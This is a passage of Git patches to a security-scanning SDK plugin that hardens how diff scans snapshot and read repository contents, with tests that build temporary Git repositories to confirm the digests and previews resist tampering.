head: raise SystemExit("Base and head revisions must identify different commits.") - return {"kind": kind, "baseRevision": base, "headRevision": head} + current_digest = git_diff_content_digest(target, base, head) + if content_digest and content_digest != current_digest: + raise SystemExit("The selected range contents changed. Select the range again.") + return { + "kind": kind, + "baseRevision": base, + "headRevision": head, + "contentDigest": current_digest, + } def inspect_setup_values( @@ -582,7 +599,7 @@ def workbench_completion_binding(scan: sqlite3.Row, completed_at: str) -> dict[s if scan["mode"] == "diff": target["baseRevision"] = scan["diff_base_revision"] target["headRevision"] = scan["diff_head_revision"] - if scan["diff_target_kind"] == "working_tree" and scan["diff_content_digest"]: + if scan["diff_content_digest"]: target["snapshotDigest"] = scan["diff_content_digest"] else: if scan["target_revision"] != "unversioned": @@ -650,13 +667,9 @@ def verify_manifest_binding(scan: sqlite3.Row, manifest: dict[str, Any]) -> None raise SystemExit( "scan-manifest.json target headRevision must match the workbench diff target." ) - if ( - scan["diff_target_kind"] == "working_tree" - and target.get("snapshotDigest") != scan["diff_content_digest"] - ): + if target.get("snapshotDigest") != scan["diff_content_digest"]: raise SystemExit( - "scan-manifest.json target snapshotDigest must match the selected " - "working-tree contents." + "scan-manifest.json target snapshotDigest must match the selected diff contents." ) scope = manifest_scan.get("scope") if not isinstance(scope, dict): @@ -1539,6 +1552,8 @@ def register_cli_scan(connection: sqlite3.Connection, args: argparse.Namespace) if head != current_head: raise SystemExit("Working-tree HEAD changed before the scan started.") diff_target["contentDigest"] = worktree_content_digest(repository) + else: + diff_target["contentDigest"] = git_diff_content_digest(repository, base, head) mode = "diff" if diff_target is not None else recipe["mode"] target_identity = scan_target_identity(repository, diff_target) scope_file_count = ( diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index 9d1ce9c3..9e0d3633 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -80,6 +80,30 @@ def update_digest_field(digest: Any, label: bytes, value: bytes) -> None: digest.update(value) +def git_diff_content_digest(target: Path, base_revision: str, head_revision: str) -> str: + diff = git_bytes( + target, + "diff", + "--binary", + "--full-index", + "--no-color", + "--no-ext-diff", + "--no-textconv", + "--no-renames", + "--ignore-submodules=none", + base_revision, + head_revision, + "--", + ".", + ) + if diff is None: + raise SystemExit("Could not snapshot the selected Git diff.") + digest = hashlib.sha256() + update_digest_field(digest, b"format", b"codex-security-snapshot/v1") + update_digest_field(digest, b"git-diff", diff) + return f"codex-security-snapshot/v1:sha256:{digest.hexdigest()}" + + def worktree_content_digest(target: Path) -> str: require_clean_submodule_worktrees(target) repository, pathspec = git_worktree_context(target) diff --git a/sdk/typescript/tests-ts/runtime.test.ts b/sdk/typescript/tests-ts/runtime.test.ts index aa334915..29785d36 100644 --- a/sdk/typescript/tests-ts/runtime.test.ts +++ b/sdk/typescript/tests-ts/runtime.test.ts @@ -1184,6 +1184,54 @@ describe("plugin runtime preparation", () => { }); describe("runtime directories and plugin Python boundary", () => { + test("binds immutable Git diffs to a deterministic snapshot digest", async () => { + const root = await temporaryDirectory(); + const repository = join(root, "repository"); + await mkdir(repository); + const runGit = (...args: string[]): string => { + const result = Bun.spawnSync(["git", ...args], { cwd: repository }); + expect(result.exitCode).toBe(0); + return result.stdout.toString().trim(); + }; + runGit("init", "-b", "main"); + runGit("config", "user.email", "test@example.com"); + runGit("config", "user.name", "Test"); + await writeFile(join(repository, "app.ts"), "export const value = 1;\n"); + runGit("add", "app.ts"); + runGit("commit", "-m", "initial"); + const base = runGit("rev-parse", "HEAD"); + await writeFile(join(repository, "app.ts"), "export const value = 2;\n"); + runGit("add", "app.ts"); + runGit("commit", "-m", "change"); + const head = runGit("rev-parse", "HEAD"); + + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + const scripts = join(await bundledPluginRoot(), "scripts"); + const source = [ + "import pathlib, sys", + "sys.path.insert(0, sys.argv[1])", + "from workbench_target import git_diff_content_digest", + "print(git_diff_content_digest(pathlib.Path(sys.argv[2]), sys.argv[3], sys.argv[4]))", + ].join("\n"); + const digest = (): string => { + const result = Bun.spawnSync( + [python!, "-I", "-c", source, scripts, repository, base, head], + { cwd: repository }, + ); + expect(result.exitCode).toBe(0); + return result.stdout.toString().trim(); + }; + + const first = digest(); + expect(first).toMatch(/^codex-security-snapshot\/v1:sha256:[a-f0-9]{64}$/); + await writeFile( + join(repository, "untracked.txt"), + "outside immutable diff\n", + ); + expect(digest()).toBe(first); + }); + test("prepares one private, reusable managed-credential home", async () => { const root = await temporaryDirectory(); const environment = { CODEX_SECURITY_STATE_DIR: join(root, "state") }; diff --git a/sdk/typescript/tests-ts/scan-recovery.test.ts b/sdk/typescript/tests-ts/scan-recovery.test.ts index cf9af485..ef75327e 100644 --- a/sdk/typescript/tests-ts/scan-recovery.test.ts +++ b/sdk/typescript/tests-ts/scan-recovery.test.ts @@ -279,6 +279,107 @@ describe("malformed scan artifact recovery", () => { } }); + test("persists an immutable diff digest during CLI scan registration", async () => { + const root = await realpath( + await mkdtemp(join(tmpdir(), "codex-security-diff-registration-")), + ); + temporaryDirectories.push(root); + const repository = join(root, "repository"); + const scanDir = join(root, "scan"); + await mkdir(repository); + await mkdir(scanDir, { mode: 0o700 }); + const runGit = (args: string[]) => { + const result = spawnSync("git", ["-C", repository, ...args], { + encoding: "utf8", + }); + expect(result.status, result.stderr).toBe(0); + return result.stdout.trim(); + }; + runGit(["init", "--quiet"]); + runGit(["config", "user.name", "Codex Security"]); + runGit(["config", "user.email", "codex-security@example.invalid"]); + await writeFile(join(repository, "app.ts"), "export const value = 1;\n"); + runGit(["add", "app.ts"]); + runGit(["commit", "--quiet", "-m", "base"]); + const base = runGit(["rev-parse", "HEAD"]); + await writeFile(join(repository, "app.ts"), "export const value = 2;\n"); + runGit(["add", "app.ts"]); + runGit(["commit", "--quiet", "-m", "head"]); + const head = runGit(["rev-parse", "HEAD"]); + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + const fixture: ScanFixture = { + python: python!, + repository, + stateDir: join(root, "state"), + scanDir, + scanId: "", + registration: {}, + }; + + const registration = await workbench(fixture, [ + "register-cli-scan", + "--repository", + repository, + "--scan-dir", + scanDir, + "--recipe-json", + JSON.stringify({ + config: {}, + mode: "standard", + repository, + target: { kind: "refs", paths: [], base, head }, + }), + ]); + const contract = registration["contract"] as { + diffTarget: { contentDigest?: string }; + }; + + expect(contract.diffTarget.contentDigest).toMatch( + /^codex-security-snapshot\/v1:sha256:[a-f0-9]{64}$/, + ); + + fixture.scanId = String(registration["scanId"]); + fixture.registration = registration; + await cp(join(PLUGIN_ROOT, "examples", "completed-scan"), scanDir, { + recursive: true, + }); + const manifestPath = join(scanDir, "scan-manifest.json"); + const manifest = await readJson<{ + scan: { + id: string; + target: { kind: string }; + sealedAt?: string; + artifacts?: unknown[]; + }; + }>(manifestPath); + manifest.scan.id = fixture.scanId; + manifest.scan.target.kind = "git_diff"; + delete manifest.scan.sealedAt; + delete manifest.scan.artifacts; + await writeJson(manifestPath, manifest); + for (const name of ["findings.json", "coverage.json"] as const) { + const path = join(scanDir, name); + const document = await readJson<{ scanId: string }>(path); + document.scanId = fixture.scanId; + await writeJson(path, document); + } + await writeFile(join(scanDir, "report.md"), "# Draft report\n"); + + await workbench(fixture, [ + "prepare-scan-completion", + "--scan-id", + fixture.scanId, + ]); + const preparedManifest = await readJson<{ + scan: { target: { snapshotDigest?: string } }; + }>(manifestPath); + expect(preparedManifest.scan.target.snapshotDigest).toBe( + contract.diffTarget.contentDigest, + ); + expect((await completeScan(fixture)).progress.status).toBe("complete"); + }); + test("seals a prepared scan without publishing it before acceptance", async () => { const fixture = await startDraftScan(); From 65b0b52b83943f86b9432a83833566753c145e13 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Wed, 29 Jul 2026 23:58:17 -0700 Subject: [PATCH 04/46] test: disable Python bytecode during diff snapshot smoke --- sdk/typescript/tests-ts/runtime.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sdk/typescript/tests-ts/runtime.test.ts b/sdk/typescript/tests-ts/runtime.test.ts index 29785d36..21f826a8 100644 --- a/sdk/typescript/tests-ts/runtime.test.ts +++ b/sdk/typescript/tests-ts/runtime.test.ts @@ -1216,7 +1216,7 @@ describe("runtime directories and plugin Python boundary", () => { ].join("\n"); const digest = (): string => { const result = Bun.spawnSync( - [python!, "-I", "-c", source, scripts, repository, base, head], + [python!, "-I", "-B", "-c", source, scripts, repository, base, head], { cwd: repository }, ); expect(result.exitCode).toBe(0); From 5b439d061be3597ff6953a8d464e20ae0d012f69 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 00:30:00 -0700 Subject: [PATCH 05/46] fix: bind immutable diff review to canonical Git objects --- .../scripts/generate_rank_input.py | 62 ++++++++++++++++++- .../_bundled_plugin/scripts/workbench_db.py | 39 ++++++++++++ .../scripts/workbench_target.py | 28 +++++---- .../skills/security-diff-scan/SKILL.md | 1 + .../tests-ts/diff-rank-input.test.ts | 53 ++++++++++++++-- sdk/typescript/tests-ts/runtime.test.ts | 4 ++ sdk/typescript/tests-ts/scan-recovery.test.ts | 20 ++++++ 7 files changed, 189 insertions(+), 18 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 1af2bd86..a3f557cc 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -428,6 +428,59 @@ def reject_unsafe_path(cause: BaseException | None = None) -> None: return fit_preview_lines(preview_lines, preview_bytes), False +def immutable_diff_preview( + repo: Path, path: Path, head: str, preview_bytes: int +) -> tuple[str, bool]: + relative = path.relative_to(repo).as_posix() + command = ["git", "--no-replace-objects", "-c", "core.fsmonitor=false", "-C", str(repo)] + listed = subprocess.run( + [*command, "ls-tree", "-z", head, "--", relative], + check=False, + capture_output=True, + ) + entries = [entry for entry in listed.stdout.split(b"\0") if entry] + if listed.returncode != 0 or len(entries) != 1: + raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") + try: + metadata, tree_path = entries[0].split(b"\t", 1) + mode, kind, object_id = metadata.split(b" ", 2) + except ValueError as error: + raise SystemExit( + f"Unsafe changed repository path cannot be safely reviewed: {relative}" + ) from error + if ( + mode not in {b"100644", b"100755"} + or kind != b"blob" + or tree_path != os.fsencode(relative) + ): + raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") + + process = subprocess.Popen( + [*command, "cat-file", "blob", object_id.decode("ascii")], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + try: + assert process.stdout is not None + data = process.stdout.read(DIRECT_SCOPE_PREVIEW_READ_BYTES) + if len(data) < DIRECT_SCOPE_PREVIEW_READ_BYTES: + if process.wait() != 0: + raise SystemExit( + f"Unsafe changed repository path cannot be safely reviewed: {relative}" + ) + finally: + if process.poll() is None: + process.kill() + process.wait() + + if is_binary_sample(data): + return "", True + text = data.decode("utf-8", errors="ignore") + outline = structural_outline(path, text) + preview_lines = select_preview_lines(outline or text.splitlines()) + return fit_preview_lines(preview_lines, preview_bytes), False + + def resolve_scope(repo: Path, scope: str, *, expand_user: bool = True) -> Path: scope_path = Path(scope).expanduser() if expand_user else Path(scope) if not scope_path.is_absolute(): @@ -645,6 +698,9 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, result = subprocess.run( [ "git", + "--no-replace-objects", + "-c", + "core.fsmonitor=false", "-C", str(repo), "diff", @@ -700,7 +756,11 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if status in {"D", "U"}: preview = "" else: - preview, is_binary = confined_diff_preview(repo, path, args.preview_bytes) + preview, is_binary = ( + immutable_diff_preview(repo, path, args.head, args.preview_bytes) + if args.mode == "revisions" + else confined_diff_preview(repo, path, args.preview_bytes) + ) if is_binary: continue rows.append({"path": rel.as_posix(), "area": args.area, "preview": preview}) diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py index cd426551..86f5ba30 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py @@ -1395,6 +1395,7 @@ def complete_scan_locked( prepare_only: bool = False, ) -> dict[str, Any]: scan = require_scan(connection, scan_id) + scan = backfill_legacy_immutable_diff_digest(connection, scan) if scan["status"] == "complete": scan_dir = require_canonical_scan_directory(Path(scan["scan_dir"])) require_recorded_manifest_digest(scan, scan_dir) @@ -1525,6 +1526,44 @@ def complete_scan_locked( return scan_context(connection, scan["id"]) +def backfill_legacy_immutable_diff_digest( + connection: sqlite3.Connection, scan: sqlite3.Row +) -> sqlite3.Row: + if ( + scan["mode"] != "diff" + or scan["diff_target_kind"] not in {"commit", "range"} + or scan["diff_content_digest"] is not None + ): + return scan + if scan["status"] == "complete": + scan_dir = require_canonical_scan_directory(Path(scan["scan_dir"])) + require_recorded_manifest_digest(scan, scan_dir) + manifest = read_json_object(scan_dir / ARTIFACTS["manifest"]) + target = manifest.get("scan", {}).get("target", {}) + digest = target.get("snapshotDigest") if isinstance(target, dict) else None + if not isinstance(digest, str) or re.fullmatch( + r"codex-security-snapshot/v1:sha256:[a-f0-9]{64}", digest + ) is None: + raise SystemExit("Completed immutable diff scan is missing its sealed snapshot digest.") + else: + target = require_scan_target_identity(scan) + digest = git_diff_content_digest( + target, + scan["diff_base_revision"], + scan["diff_head_revision"], + ) + with connection: + connection.execute( + "UPDATE scans SET diff_content_digest = ? WHERE id = ? AND diff_content_digest IS NULL", + (digest, scan["id"]), + ) + connection.execute( + "UPDATE workspaces SET diff_content_digest = ? WHERE id = ? AND diff_content_digest IS NULL", + (digest, scan["workspace_id"]), + ) + return require_scan(connection, scan["id"]) + + def register_cli_scan(connection: sqlite3.Connection, args: argparse.Namespace) -> dict[str, Any]: repository = require_target(args.repository) require_scannable_target(repository) diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index 9e0d3633..41b88e27 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -54,7 +54,14 @@ def git_command( environment.pop(name, None) environment["GIT_LITERAL_PATHSPECS"] = "1" # Repository-local config is untrusted; fsmonitor may name an executable hook. - command = ["git", "-c", "core.fsmonitor=false", "-C", str(target)] + command = [ + "git", + "--no-replace-objects", + "-c", + "core.fsmonitor=false", + "-C", + str(target), + ] if git_dir is not None and work_tree is not None: command.extend(["--git-dir", str(git_dir), "--work-tree", str(work_tree)]) full_command = [*command, *args] @@ -81,26 +88,25 @@ def update_digest_field(digest: Any, label: bytes, value: bytes) -> None: def git_diff_content_digest(target: Path, base_revision: str, head_revision: str) -> str: - diff = git_bytes( + changed_objects = git_bytes( target, - "diff", - "--binary", - "--full-index", - "--no-color", - "--no-ext-diff", - "--no-textconv", + "diff-tree", + "-r", + "--raw", + "-z", + "--no-commit-id", + "--no-abbrev", "--no-renames", - "--ignore-submodules=none", base_revision, head_revision, "--", ".", ) - if diff is None: + if changed_objects is None: raise SystemExit("Could not snapshot the selected Git diff.") digest = hashlib.sha256() update_digest_field(digest, b"format", b"codex-security-snapshot/v1") - update_digest_field(digest, b"git-diff", diff) + update_digest_field(digest, b"git-tree-diff", changed_objects) return f"codex-security-snapshot/v1:sha256:{digest.hexdigest()}" diff --git a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md index 9d0e8de5..0ee783f8 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md +++ b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md @@ -134,6 +134,7 @@ Use `../security-scan/references/scan-artifacts-and-ledger.md` for the shared sc Diff scans should: - generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch +- for committed revision diffs, read every changed or supporting file exclusively from the selected immutable Git tree with `git --no-replace-objects -C show :`; for deleted files use `:`. Never substitute the checked-out working-tree file, which may be from another revision or contain local edits - copy every diff row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl` - deep-review every file in `deep_review_input.jsonl` - add directly supporting files only when repository evidence shows they are needed to understand the changed security behavior diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index a9d3d4fa..99ba6890 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -96,6 +96,7 @@ async function runDiffRankInput( fixture: TestRepository, mode: DiffMode, swap?: PathSwap, + head = "HEAD", ): Promise { const interpreter = Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); @@ -118,7 +119,7 @@ async function runDiffRankInput( "--mode", mode, "--head", - "HEAD", + head, "--out", output, ]; @@ -160,6 +161,39 @@ async function runDiffRankInput( } describe("diff rank input", () => { + test("previews immutable head blobs even when another revision is checked out", async () => { + const fixture = await createRepository(); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 'reviewed-head';\n", + ); + git(fixture.repository, "add", "src/app.ts"); + git(fixture.repository, "commit", "-qm", "selected review head"); + const selectedHead = git(fixture.repository, "rev-parse", "HEAD"); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 'different-checkout';\n", + ); + git(fixture.repository, "add", "src/app.ts"); + git(fixture.repository, "commit", "-qm", "different checked out head"); + + const rows = await runDiffRankInput( + fixture, + "revisions", + undefined, + selectedHead, + ); + + expect(rows).toContainEqual({ + path: "src/app.ts", + area: "diff", + preview: "export const value = 'reviewed-head';", + }); + expect(JSON.stringify(rows)).not.toContain("different-checkout"); + }); + test("inventories committed security-sensitive workflows, containers, and agent instructions", async () => { const fixture = await createRepository(); const files: Record = { @@ -439,9 +473,14 @@ describe("diff rank input", () => { ); git(fixture.repository, "add", "src/app.ts"); git(fixture.repository, "commit", "-qm", "update reviewed source"); + await writeRepositoryFile( + fixture.repository, + "src/app.ts", + "export const value = 3;\n", + ); await expect( - runDiffRankInput(fixture, "revisions", { + runDiffRankInput(fixture, "local-patch", { path: "src/app.ts", replacement: externalFile, }), @@ -451,7 +490,7 @@ describe("diff rank input", () => { ); test.skipIf(process.platform === "win32")( - "inventories a changed FIFO without blocking or reading it", + "reviews immutable Git blobs without opening a replacement FIFO", async () => { const fixture = await createRepository(); await writeRepositoryFile( @@ -466,9 +505,11 @@ describe("diff rank input", () => { await rm(trackedFile); execFileSync("mkfifo", [trackedFile], { stdio: "pipe" }); - await expect(runDiffRankInput(fixture, "revisions")).rejects.toThrow( - /unsafe changed repository path/iu, - ); + expect(await runDiffRankInput(fixture, "revisions")).toContainEqual({ + path: "src/app.ts", + area: "diff", + preview: "export const value = 2;", + }); }, ); diff --git a/sdk/typescript/tests-ts/runtime.test.ts b/sdk/typescript/tests-ts/runtime.test.ts index 21f826a8..af54b509 100644 --- a/sdk/typescript/tests-ts/runtime.test.ts +++ b/sdk/typescript/tests-ts/runtime.test.ts @@ -1230,6 +1230,10 @@ describe("runtime directories and plugin Python boundary", () => { "outside immutable diff\n", ); expect(digest()).toBe(first); + await writeFile(join(repository, ".gitattributes"), "*.ts binary\n"); + expect(digest()).toBe(first); + runGit("replace", head, base); + expect(digest()).toBe(first); }); test("prepares one private, reusable managed-credential home", async () => { diff --git a/sdk/typescript/tests-ts/scan-recovery.test.ts b/sdk/typescript/tests-ts/scan-recovery.test.ts index ef75327e..cb85e3ab 100644 --- a/sdk/typescript/tests-ts/scan-recovery.test.ts +++ b/sdk/typescript/tests-ts/scan-recovery.test.ts @@ -378,6 +378,26 @@ describe("malformed scan artifact recovery", () => { contract.diffTarget.contentDigest, ); expect((await completeScan(fixture)).progress.status).toBe("complete"); + + const downgrade = spawnSync( + fixture.python, + [ + "-I", + "-B", + "-c", + [ + "import sqlite3, sys", + "with sqlite3.connect(sys.argv[1]) as connection:", + " connection.execute('UPDATE scans SET diff_content_digest = NULL WHERE id = ?', (sys.argv[2],))", + " connection.execute('UPDATE workspaces SET diff_content_digest = NULL WHERE id = (SELECT workspace_id FROM scans WHERE id = ?)', (sys.argv[2],))", + ].join("\n"), + join(fixture.stateDir, "workbench.sqlite3"), + fixture.scanId, + ], + { encoding: "utf8" }, + ); + expect(downgrade.status, downgrade.stderr).toBe(0); + expect((await completeScan(fixture)).progress.status).toBe("complete"); }); test("seals a prepared scan without publishing it before acceptance", async () => { From f5d60e9943d1c0ca74d88eb78dc7f6edc180e7e6 Mon Sep 17 00:00:00 2001 From: GautamSharma99 Date: Thu, 30 Jul 2026 17:59:14 +0530 Subject: [PATCH 06/46] fix: bind workbench Git to trusted executable --- .../scripts/generate_rank_input.py | 20 ++- .../scripts/workbench_constants.py | 22 +++ .../scripts/workbench_target.py | 8 +- sdk/typescript/src/api.ts | 19 ++- sdk/typescript/src/runtime.ts | 33 ++++- sdk/typescript/tests-ts/api.test.ts | 2 + .../tests-ts/diff-rank-input.test.ts | 5 +- sdk/typescript/tests-ts/runtime.test.ts | 134 ++++++++++++++++++ sdk/typescript/tests-ts/scan-recovery.test.ts | 8 +- 9 files changed, 239 insertions(+), 12 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index a3f557cc..17e295e3 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -47,6 +47,7 @@ select_preview_lines, structural_outline, ) +from workbench_constants import trusted_git_executable EXCLUDED_DIRS = { ".cache", @@ -432,7 +433,17 @@ def immutable_diff_preview( repo: Path, path: Path, head: str, preview_bytes: int ) -> tuple[str, bool]: relative = path.relative_to(repo).as_posix() - command = ["git", "--no-replace-objects", "-c", "core.fsmonitor=false", "-C", str(repo)] + executable = trusted_git_executable(repo) + if executable is None: + raise SystemExit("Git is unavailable on the trusted executable path.") + command = [ + executable, + "--no-replace-objects", + "-c", + "core.fsmonitor=false", + "-C", + str(repo), + ] listed = subprocess.run( [*command, "ls-tree", "-z", head, "--", relative], check=False, @@ -695,15 +706,20 @@ def bind_repo_scopes(args: argparse.Namespace) -> None: def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, str]]: + git = trusted_git_executable(repo) + if git is None: + raise SystemExit("Git is unavailable on the trusted executable path.") result = subprocess.run( [ - "git", + git, "--no-replace-objects", "-c", "core.fsmonitor=false", "-C", str(repo), "diff", + "--no-ext-diff", + "--no-textconv", "--name-status", "-z", "--diff-filter=ACMRDTU", diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py b/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py index 4ddd91f3..39ad03dc 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py @@ -1,6 +1,8 @@ """Shared constants for the Codex Security workbench.""" import argparse +import os +from pathlib import Path MODES = ("diff", "standard", "deep") DIFF_TARGET_KINDS = ("working_tree", "commit", "range") @@ -73,6 +75,26 @@ EMPTY_GIT_TREE = "4b825dc642cb6eb9a060e54bf8d69288fbee4904" +def trusted_git_executable(protected_root: Path | None = None) -> str | None: + executable = os.environ.get("CODEX_SECURITY_GIT") + if not executable: + return None + candidate = Path(executable) + if not candidate.is_absolute(): + raise SystemExit("CODEX_SECURITY_GIT must name an absolute trusted executable.") + try: + canonical = candidate.resolve(strict=True) + except OSError as exc: + raise SystemExit("CODEX_SECURITY_GIT does not name an available executable.") from exc + if not canonical.is_file() or not os.access(canonical, os.X_OK): + raise SystemExit("CODEX_SECURITY_GIT does not name an available executable.") + if protected_root is not None: + root = protected_root.resolve() + if canonical == root or root in canonical.parents: + raise SystemExit("CODEX_SECURITY_GIT must stay outside the protected repository.") + return str(canonical) + + def main() -> None: argparse.ArgumentParser(description=__doc__).parse_args() diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index 3a3c4ff7..4c307aa8 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -16,7 +16,7 @@ # Some plugin hosts launch Python with safe-path isolation enabled. sys.path.insert(0, str(Path(__file__).resolve().parent)) from filesystem_identity import stored_filesystem_identity_matches -from workbench_constants import GIT_REPOSITORY_ENVIRONMENT +from workbench_constants import GIT_REPOSITORY_ENVIRONMENT, trusted_git_executable def git_output( @@ -54,8 +54,9 @@ def git_command( environment.pop(name, None) environment["GIT_LITERAL_PATHSPECS"] = "1" # Repository-local config is untrusted; fsmonitor may name an executable hook. + executable = trusted_git_executable(target) command = [ - "git", + executable or "git", "--no-replace-objects", "-c", "core.fsmonitor=false", @@ -65,6 +66,9 @@ def git_command( if git_dir is not None and work_tree is not None: command.extend(["--git-dir", str(git_dir), "--work-tree", str(work_tree)]) full_command = [*command, *args] + if executable is None: + empty_output = "" if text else b"" + return subprocess.CompletedProcess(full_command, 127, empty_output, empty_output) try: return subprocess.run( full_command, diff --git a/sdk/typescript/src/api.ts b/sdk/typescript/src/api.ts index d2381d3d..856c46e5 100644 --- a/sdk/typescript/src/api.ts +++ b/sdk/typescript/src/api.ts @@ -85,6 +85,7 @@ import { validatedGitEnvironment, validateMode, } from "./targets.js"; +import { resolveTrustedExecutable } from "./trusted-executable.js"; interface CodexThreadLike { readonly id: string | null; @@ -465,6 +466,15 @@ export class CodexSecurity { protectedRoot, signal, }); + const pluginEnvironment = selectedScanEnvironment( + runtime.environment, + options.auth, + ); + const git = await resolveTrustedExecutable( + "git", + pluginEnvironment, + protectedRoot, + ); checkOpen(); const scanOutputRoot = requestedOutput === null && @@ -575,9 +585,11 @@ export class CodexSecurity { python, pluginRoot: runtime.plugin.pluginRoot, environment: { - ...selectedScanEnvironment(runtime.environment, options.auth), + ...pluginEnvironment, CODEX_SECURITY_STATE_DIR: stateDirectory, }, + git, + protectedRoot, signal, failureMessage: "Could not save the Codex Security scan", }; @@ -729,9 +741,8 @@ export class CodexSecurity { const environment = { ...pluginExecutionEnvironment( python, - withoutCodexHome( - selectedScanEnvironment(runtime.environment, options.auth), - ), + withoutCodexHome(pluginEnvironment), + git, ), CODEX_HOME: runtime.codexHome, ...runtimePaths, diff --git a/sdk/typescript/src/runtime.ts b/sdk/typescript/src/runtime.ts index 93b98c5e..14659dec 100644 --- a/sdk/typescript/src/runtime.ts +++ b/sdk/typescript/src/runtime.ts @@ -43,6 +43,7 @@ import { } from "./errors.js"; import type { JsonObject } from "./config.js"; import { resolveTrustedExecutable } from "./trusted-executable.js"; +import type { TrustedExecutable } from "./trusted-executable.js"; const execFile = promisify(execFileCallback); @@ -92,6 +93,8 @@ export interface WorkbenchCommandOptions { python: string; pluginRoot: string; environment: ProcessEnvironment; + git?: TrustedExecutable | null; + protectedRoot?: string; signal?: AbortSignal; failureMessage?: string; } @@ -456,6 +459,19 @@ export async function runWorkbench( options: WorkbenchCommandOptions, args: readonly string[], ): Promise { + const git = + options.git === undefined + ? await resolveTrustedExecutable( + "git", + options.environment, + options.protectedRoot ?? process.cwd(), + ) + : options.git; + const environment = pluginExecutionEnvironment( + options.python, + options.environment, + git, + ); let stdout: string; try { ({ stdout } = await execFile( @@ -468,7 +484,7 @@ export async function runWorkbench( ], { env: Object.fromEntries( - Object.entries(options.environment).filter( + Object.entries(environment).filter( ([name]) => name.toUpperCase() !== "OPENAI_API_KEY" && name.toUpperCase() !== "CODEX_API_KEY", @@ -1532,8 +1548,21 @@ export async function resolvePluginPython( export function pluginExecutionEnvironment( python: string, environment: ProcessEnvironment = process.env, + git?: TrustedExecutable | null, ): ProcessEnvironment { - return { ...environment, PYTHON: python }; + const result = { ...environment }; + if (git !== undefined) { + for (const name of Object.keys(result)) { + const normalized = name.toUpperCase(); + if (normalized === "PATH" || normalized.startsWith("GIT_")) { + delete result[name]; + } + } + result["PATH"] = git?.environment["PATH"] ?? ""; + result["CODEX_SECURITY_GIT"] = git?.executable ?? ""; + } + result["PYTHON"] = python; + return result; } export async function cleanupSdkDirectory(path: string): Promise { diff --git a/sdk/typescript/tests-ts/api.test.ts b/sdk/typescript/tests-ts/api.test.ts index 13e73152..9acf61ab 100644 --- a/sdk/typescript/tests-ts/api.test.ts +++ b/sdk/typescript/tests-ts/api.test.ts @@ -2670,6 +2670,7 @@ describe("CodexSecurity orchestration", () => { const runtime = preparedRuntime(codexHome); return { ...runtime, + environment: { PATH: process.env["PATH"] }, plugin: { ...(runtime["plugin"] as Record), installedRoot: join( @@ -2723,6 +2724,7 @@ describe("CodexSecurity orchestration", () => { CODEX_SECURITY_SCAN_DIR: scanDir, CODEX_SECURITY_PLUGIN_ROOT: PLUGIN_ROOT, CODEX_SECURITY_TARGET_DISPLAY_NAME: basename(repository), + CODEX_SECURITY_GIT: expect.stringMatching(/git(?:\.exe)?$/iu), }); expect(environment).not.toHaveProperty("CODEX_SECURITY_TARGET_PATHS_JSON"); const 